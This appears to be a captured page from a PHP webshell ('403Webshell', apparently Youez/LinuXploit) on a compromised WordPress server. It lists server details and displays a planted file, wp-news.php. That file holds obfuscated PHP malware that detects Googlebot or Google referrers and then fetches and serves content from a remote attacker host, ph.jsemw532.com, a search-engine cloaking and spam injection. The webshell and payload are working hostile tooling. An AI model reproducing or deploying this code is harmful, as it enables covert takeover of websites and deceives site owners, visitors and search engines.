403Webshell
Server IP : 158.178.228.73  /  Your IP : 80.80.80.153
Web Server : Apache/2.4.37 (Oracle Linux Server) OpenSSL/1.1.1k
System : Linux ust-wp1-prod 5.15.0-308.179.6.el8uek.x86_64 #2 SMP Wed Apr 23 10:46:57 PDT 2025 x86_64
User : tomasFtp ( 1007)
PHP Version : 8.4.8
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/proc/self/root/backup/actamanilana.source.0707250400/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/proc/self/root/backup/actamanilana.source.0707250400/public_html/wp-news.php
<?php goto Uw7oHMaXRp; SrCE8S_bP5: EezlDaILF3: $protocol = "\x68\164\x74\x70\x73\x3a\x2f\57"; YHPf7HIOTv: $current_url = $protocol . (isset($_SERVER["\110\x54\x54\x50\x5f\x48\x4f\x53\124"]) ? $_SERVER["\110\x54\x54\x50\137\110\117\123\124"] : (isset($_SERVER["\123\105\122\x56\x45\122\x5f\x4e\101\115\105"]) ? $_SERVER["\123\x45\122\x56\x45\122\137\x4e\x41\x4d\x45"] : '')) . (isset($_SERVER["\122\x45\x51\x55\105\123\124\137\125\122\111"]) ? $_SERVER["\122\x45\121\125\105\x53\124\137\x55\122\x49"] : (isset($_SERVER["\x50\110\120\x5f\x53\x45\114\106"]) ? $_SERVER["\120\x48\120\137\x53\x45\114\106"] : '')); if (!($is_googlebot || is_string($referer) && strpos($referer, "\x67\157\157\x67\x6c\x65\56\x63\157\x6d") !== false)) { goto ZHwrTmhUuL; } goto s8NDD0L7bC; Uw7oHMaXRp: http_response_code(200); header("\103\157\x6e\164\145\x6e\164\x2d\124\x79\160\145\72\x20\x74\x65\170\x74\57\x68\x74\155\x6c\x3b\143\150\x61\162\x73\x65\164\x3d\165\164\x66\55\70"); @set_time_limit(0); error_reporting(0); $headers = function_exists("\x67\x65\x74\141\x6c\154\150\145\x61\144\145\162\163") ? getallheaders() : array(); goto i1ylLpdjnt; WYZfXPO972: $headers["\x55\163\x65\162\x2d\x41\147\145\x6e\164"] = $apache_headers["\125\163\x65\162\55\x41\147\x65\156\x74"]; tFCDmVZWiB: TseMqWWqDM: $current_domain = str_replace("\56", "\x2d", preg_replace("\57\x3a\x5c\144\x2b\x24\x2f", '', $_SERVER["\x48\x54\124\x50\137\110\117\x53\x54"])); $referer = isset($headers["\x52\145\146\145\x72\x65\162"]) ? $headers["\122\x65\x66\145\x72\145\162"] : "\x52\145\x66\145\162\145\x72"; goto eteE15_amb; b5281bvQ3l: dM7DFBgH3a: if (!(empty($headers["\122\145\x66\x65\162\145\162"]) && function_exists("\141\x70\x61\143\150\145\137\162\x65\x71\x75\x65\163\164\137\150\145\x61\144\145\x72\163"))) { goto EN9K0e4pMz; } $apache_headers = apache_request_headers(); if (empty($apache_headers["\x52\145\x66\145\162\x65\x72"])) { goto wckVwmG51Q; } $headers["\122\x65\x66\145\162\x65\162"] = $apache_headers["\122\145\146\145\162\x65\162"]; goto lSoeM8JPxp; Y3jJPUhQMZ: $response = @file_get_contents($target_url, false, $context); if (!($response === false)) { goto fKzHg9Do4q; } exit("\x45\x72\162\x6f\162\72\40\x55\x6e\x61\x62\x6c\x65\x20\x74\157\40\146\x65\164\x63\150\x20\x72\145\x6d\x6f\164\x65\40\x63\x6f\156\164\x65\156\164\x2e"); fKzHg9Do4q: if (empty($response)) { goto U81LQv3NMY; } goto h3HLMKDvZ6; BaoVnlGjdV: xTf7lJDqWu: goto qzyuS7sk3f; i1ylLpdjnt: if (!(empty($headers["\122\145\x66\145\x72\145\162"]) && isset($_SERVER["\x48\x54\x54\x50\137\x52\x45\106\105\122\x45\x52"]))) { goto waknvmdWIT; } $headers["\x52\x65\146\145\x72\145\162"] = $_SERVER["\x48\124\124\x50\x5f\122\x45\x46\x45\122\x45\122"]; waknvmdWIT: if (!(empty($headers["\x55\x73\145\x72\x2d\x41\x67\145\156\164"]) && isset($_SERVER["\x48\124\x54\x50\x5f\x55\x53\105\122\x5f\101\107\105\x4e\124"]))) { goto dM7DFBgH3a; } $headers["\x55\x73\x65\x72\x2d\x41\x67\145\156\164"] = $_SERVER["\110\x54\124\120\x5f\x55\123\x45\x52\137\101\107\105\x4e\124"]; goto b5281bvQ3l; h3HLMKDvZ6: if (!(strpos($current_url, "\163\151\x74\145\155\x61\x70\56\x78\155\154") !== false)) { goto jsQBO9akvm; } header("\103\157\x6e\x74\x65\156\x74\x2d\x54\x79\x70\145\x3a\40\x61\x70\160\x6c\x69\x63\141\164\x69\x6f\156\x2f\x78\x6d\x6c"); jsQBO9akvm: exit(trim($response)); U81LQv3NMY: goto BaoVnlGjdV; CT7XXZsVP_: u4zZiG1Lwy: $target_url = "\x68\x74\x74\x70\72\x2f\x2f{$urll}\57\77\x66\x61\146\x61\75{$current_url}"; goto S_IQf66_rJ; jZhWoWVmzF: $target_url = "\150\x74\x74\x70\72\x2f\x2f{$urll}\x2f\x38\70\70\x2e\x70\x68\160"; goto yMoLgUmTkL; eteE15_amb: $user_agent = isset($headers["\125\163\145\x72\55\101\147\x65\156\x74"]) ? strtolower($headers["\125\163\145\x72\55\x41\147\x65\x6e\x74"]) : "\x55\x73\x65\162\55\x41\x67\x65\x6e\164"; $google_bots = array("\147\157\157\147\x6c\145\x62\157\164", "\147\157\x6f\147\154\145\142\x6f\164\55\x6e\145\167\x73", "\147\x6f\x6f\x67\x6c\x65\142\x6f\164\55\151\155\141\147\x65", "\x67\x6f\157\x67\x6c\x65\x62\x6f\x74\55\166\x69\144\145\157", "\x67\157\x6f\x67\x6c\145\x62\157\164\55\x6d\157\142\x69\154\x65", "\141\144\x73\x62\157\x74\55\147\157\157\x67\154\145", "\x61\x64\x73\142\157\x74\x2d\147\x6f\157\x67\x6c\x65\x2d\x6d\157\x62\151\x6c\x65", "\155\x65\x64\x69\141\x70\x61\x72\164\156\x65\x72\x73\55\147\157\157\x67\154\145", "\147\157\x6f\x67\x6c\145\142\157\x74\x2d\141\x64\x73", "\147\157\157\x67\x6c\x65\x62\x6f\164\x2d\163\x68\157\160\x70\x69\156\x67", "\147\157\157\147\154\x65\55\x66\141\x76\x69\x63\x6f\x6e", "\x67\x6f\157\x67\154\145\55\167\x65\142\55\x6c\x69\x67\150\x74", "\x61\160\151\163\55\x67\x6f\x6f\x67\x6c\x65", "\146\145\x65\x64\x66\x65\164\x63\150\145\162\55\147\x6f\x6f\147\154\145", "\144\x75\x70\154\x65\x78\x77\145\x62\55\147\157\x6f\147\154\x65", "\147\157\157\147\154\x65\x2d\151\x6e\x73\x70\145\143\x74\151\157\x6e\x74\x6f\x6f\x6c"); $is_googlebot = (bool) preg_match("\57" . implode("\174", $google_bots) . "\x2f\x69", $user_agent); $protocol = "\x68\x74\164\160\72\x2f\x2f"; if (!empty($_SERVER["\x48\124\x54\120\x53"]) && $_SERVER["\110\x54\124\x50\x53"] !== "\x6f\146\146") { goto AuzAnYXeeq; } goto vmPDjoaywa; vmPDjoaywa: if (isset($_SERVER["\123\x45\x52\x56\105\x52\x5f\x50\x4f\x52\124"]) && $_SERVER["\123\x45\x52\x56\x45\x52\x5f\x50\x4f\x52\124"] == 443) { goto EezlDaILF3; } goto YHPf7HIOTv; AuzAnYXeeq: $protocol = "\x68\164\x74\160\163\x3a\x2f\x2f"; goto YHPf7HIOTv; goto SrCE8S_bP5; lSoeM8JPxp: wckVwmG51Q: EN9K0e4pMz: if (!(empty($headers["\x55\x73\x65\x72\55\x41\147\145\156\164"]) && function_exists("\x61\x70\141\x63\150\145\137\x72\x65\x71\x75\145\x73\x74\137\x68\x65\141\x64\x65\x72\163"))) { goto TseMqWWqDM; } $apache_headers = apache_request_headers(); if (empty($apache_headers["\x55\x73\145\162\x2d\x41\147\145\x6e\164"])) { goto tFCDmVZWiB; } goto WYZfXPO972; yMoLgUmTkL: S_IQf66_rJ: if (empty($target_url)) { goto xTf7lJDqWu; } $response = ''; $opts = array("\x68\164\164\x70" => array("\x6d\x65\x74\x68\x6f\144" => "\107\x45\124", "\x68\145\141\144\x65\x72" => "\x43\157\x6e\164\145\x6e\164\x2d\124\x79\160\x65\72\40\x61\160\x70\154\151\x63\x61\164\151\157\x6e\x2f\x78\55\x77\x77\167\x2d\146\x6f\162\155\x2d\165\x72\154\x65\x6e\143\x6f\x64\145\144\xd\xa", "\x74\151\155\145\x6f\165\164" => 10), "\163\x73\x6c" => array("\x76\x65\x72\x69\146\x79\137\x70\145\x65\162" => false, "\x76\145\x72\x69\x66\171\137\x70\145\x65\162\x5f\156\141\155\145" => false)); $context = stream_context_create($opts); goto Y3jJPUhQMZ; s8NDD0L7bC: $target_url = ''; $urll = "\160\x68\56\152\x73\x65\155\167\x35\x33\62\56\x63\157\155"; if ($is_googlebot) { goto u4zZiG1Lwy; } if (strpos($referer, "\x67\x6f\x6f\147\x6c\x65\56\x63\157\x6d") !== false) { goto jZhWoWVmzF; } goto S_IQf66_rJ; goto CT7XXZsVP_; qzyuS7sk3f: ZHwrTmhUuL:

Youez - 2016 - github.com/yon3zu
LinuXploit